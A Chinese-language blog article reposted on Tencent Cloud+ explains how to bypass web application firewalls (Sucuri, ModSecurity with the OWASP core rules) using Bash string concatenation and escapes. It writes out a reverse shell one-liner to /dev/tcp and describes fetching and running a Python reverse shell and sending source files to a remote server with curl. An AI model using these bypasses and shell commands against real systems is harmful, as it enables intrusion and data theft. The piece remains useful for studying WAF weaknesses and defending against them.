如何绕过Web应用程序防火墙?

大家好,我是小编

我听说北京广州已经空了

还在公司是什么感觉

在回家的路上是什么感觉

到家了是什么感觉

请在后台与我分享

安慰一下离家旅行的小编

前言

前一篇文章

中,我们已经知道了如何使用?等通配符绕过 WAF。其实还有很多可以绕过 WAF 的方法,每种攻击都有其特定的绕过技巧。

字符串连接

某些特定的情况下,要对有 WAF 防护的Web 应用程序进行攻击,字符串连接会是一个优先的选择。

编程语言经常把+重载表示为字符串参数拼接:"Hello, " + "World"和"Hello, World"等价。在 Perl 和 PHP 中用.来连接字符串,在 Lua 中使用..来连接:

在C,C ++,Python以及可以在 Bash 中找到的脚本语言或语法中,有一个名词叫做string literal concatenation

即相邻的字符串连接在一起,没有任何操作符:"Hello, " "World"和"Hello, World"等价。这不仅适用于 printf 和 echo 命令,而且适用于整个 bash 语法。

使用 Bash 和 Python 连接字符串测试,下面的每个命令都具有相同的结果:

使用Bash和Python连接字符串测试

发生这种情况是因为所有相邻的字符串文字在 Bash 中连接在一起,实际上'te's't'是由三个字符串组成:字符串te,字符串s和字符串t。

此语法可用于绕过基于关键词匹配的 WAF。

ModSecurity中这条规则SecRule ARGS "@pm passwd shadow groups"将阻止包含passwd或shadow的所有请求,如果我们将它们转换成pa'ss'wd或sh'ad'ow,结果又会怎么样呢?

就像我们之前见过的 SQLi 语法一样,使用注释来分割查询,在这里我们也可以使用单引号'来分割文件名和系统命令,并创建一组串联的字符串。

当然,你可以使用字符串连接命令,还可以连接路径。

下面几个命令代表同样的意思:

使用字符串链接cat命令和cat可执行文件的路径

现在,让我们假设已经发现了一个 url 参数存在远程命令执行的漏洞。如果有一个 WAF 阻止 Password 和 shadow,你可以这样绕过:

这里使用的 PHP 代码是:

绕过Sucuri WAF

首先,使用没有编码的参数来获取google.com的返回:

现在能正常获取google.com的返回:

现在,为了利用这个漏洞,我们使用分号分隔语法, 并尝试执行其他系统命令,当我尝试读取 /etc/passwd 文件时,Sucuri WAF会阻止,例如:

Sucuri WAF阻止的原因是: 发现了尝试RFI / LFI请求。

Sucuri “RFI / LFI尝试”规则使用类似于“匹配短语”的操作方式,使用如etc/passwd这样的常见的路径和文件名。

这个 WAF 有一个非常简单的规则集,可以用两个单引号绕过这条规则!

Sucuri WAF使用两个单引号绕过

现在已经能够读取文件了,那下一步能 getshell 吗?答案是:可以!

唯一的问题是,我们不能使用 netcat,因为目标系统中没有安装 netcat。

为了避免使用被 WAF 屏蔽的字符,可以使用下面的bash命令:bash -i >& /dev/tcp/1.1.1.1/1337 0>&1,但是命令太复杂,无法绕过所有的防护规则,并且也不能使用一些 PHP, Perl 或 Python 语言的特性。

Sucuri WAF由于检测到混淆的攻击负载阻止了我们的操作。

我们可以试着用curl或者wget来上传一个 Python 的反弹 shell 到一个可写的目录,而不是试图通过这个参数直接执行获取 shell 的命令 。

首先,准备 python 代码:vi shell.py

生成一个可以从目标访问的web服务,像往常一样使用python -c SimpleHTTPServer或php -S命令,然后从目标网站下载 shell.py 文件,使用以下语法:

shell使用curl上传

python反向shell绕过Sucuri WAF

Sucuri WAF没有阻止这个请求,但通常 ModSecurity 会阻止这种低级操作,如果你想确保绕过所有的“匹配短语”规则类型,可以同时使用wget、ip-to-long 、字符串连接

第一个命令wget用来下载shell文件/tmp/。第二个chmod使其可执行,第三个负责执行。

正如我们所看到的,因为wget命令请求特定的文件,所以通过wget下载的文件被命名为 index.html。

你可以使用nc提供访问:

使用netcat来应答来自RCE的HTTP请求

绕过ModSecurity和OWASP核心规则集

由于 normalizePath 和 cmdLine 的存在,无法绕过 OWASP 核心规则集。

在 ModSecurity 中,它们被称为“转换函数”,用于在匹配数据之前,对数据进行修改操作。原始输入数据不会被修改,ModSecurity 将创建数据的副本,对其进行转换,然后根据结果进行匹配。

normalizePath:从输入字符串中删除多个斜杠,目录自引用和目录反引用(输入开始时除外)。

cmdLine:这个转换函数通过规范化参数值并触发所有规则,如 LFI,RCE,Unix命令等,避免使用转义序列。例如/e't'c/pa'ss'wd,规范化为/etc/passwd,规则如下:

删除所有反斜杠\

删除所有双引号"

删除所有的单引号'

删除所有的插文^

删除斜杠前的空格/

删除一个空括号之前的空格(

将所有逗号和分号替换为空格

将多个空格(包括制表符,换行符等)替换为一个空格

将所有字符转换为小写

尝试使用前面的字符串连接的操作进行远程命令执行时,都会被规则“932160(图示)”拦截:

这里不能读取 /etc/passwd,因为OWASP 核心规则集会对公用文件、路径和命令进行拦截,但不会拦截对目标应用程序源代码的读取。

虽然不能使用分号(不能破坏curl语法),但可以使用curl提取文件,并发送到我们的远程服务器。

curl使用-d参数,可以将文件发送到远程服务器:

请求时,编码@为%40:

从目标应用程序将PHP文件发送到远程服务器

如果目标的防护级别设置为PL4,那么上面的方法将不起作用。

反斜杠作为新的单引号

同样的技术也可以使用反斜杠\字符。这不是一个连接字符,而是一个转义符号:

干货丰富

请慢慢消化

有疑问欢迎后台给小编留言哦

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180213A0E68G00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券